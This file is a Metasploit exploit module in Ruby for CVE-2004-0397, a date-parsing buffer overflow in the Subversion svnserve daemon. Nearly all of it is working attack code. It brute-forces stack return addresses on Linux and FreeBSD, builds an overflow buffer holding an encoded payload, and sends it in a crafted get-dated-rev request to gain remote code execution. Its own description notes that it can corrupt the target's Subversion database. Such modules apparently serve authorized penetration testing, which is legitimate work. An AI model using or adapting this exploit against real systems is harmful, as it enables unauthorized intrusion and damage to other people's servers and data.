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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Brute
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Subversion Date Svnserve',
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        'Description' => %q{
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          This is an exploit for the Subversion date parsing overflow.  This
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          exploit is for the svnserve daemon (svn:// protocol) and will not work
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          for Subversion over webdav (http[s]://).  This exploit should never
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          crash the daemon, and should be safe to do multi-hits.
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          **WARNING** This exploit seems to (not very often, I've only seen
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          it during testing) corrupt the subversion database, so be careful!
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        },
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        'Author' => 'spoonm',
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        'References' => [
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          ['CVE', '2004-0397'],
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          ['OSVDB', '6301'],
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          ['BID',	'10386'],
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          ['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html']
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        ],
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
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          'MinNops' => 16,
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        },
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        'SaveRegisters' => [ 'esp' ],
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        'Arch' => 'x86',
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        'Platform' => %w{bsd linux},
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        'Targets' => [
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          [
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            'Linux Bruteforce',
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            {
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              'Platform' => 'linux',
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xbffffe13 },
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                  'Stop' => { 'Ret' => 0xbfff0000 },
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                  'Step' => 0
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                }
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            },
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          ],
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          [
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            'FreeBSD Bruteforce',
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            {
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              'Platform' => 'bsd',
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xbfbffe13 },
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                  'Stop' => { 'Ret' => 0xbfbf0000 },
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                  'Step' => 0
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                }
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            },
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          ],
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        ],
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        'DisclosureDate' => '2004-05-19',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(3690),
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        OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
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      ]
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    )
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    register_advanced_options(
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      [
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        # 62 on spoonm's, 88 on HD's
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        OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
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        OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
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      ]
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    )
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  end
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  def brute_exploit(addresses)
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    connect
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    print_status("Trying #{"%.8x" % addresses['Ret']}...")
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    buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
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    [
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      "( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
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      "( ANONYMOUS ( 0; ) )",
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      "( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
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    ].each_with_index { |buf, index|
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      trash = sock.get_once
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      print_line("Received: #{trash}") if debugging?
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      if (sock.put(buf) || 0) == 0 and index < 3
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        print_error("Error transmitting buffer.")
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        fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors']
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      end
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      if index == 3 and trash.length > 0
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        print_error("Received data when we shouldn't have")
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        fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']
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      end
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    }
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    handler
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    disconnect
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  end
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  def lengther(buf)
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    "#{buf.length}:" + buf
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  end
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end
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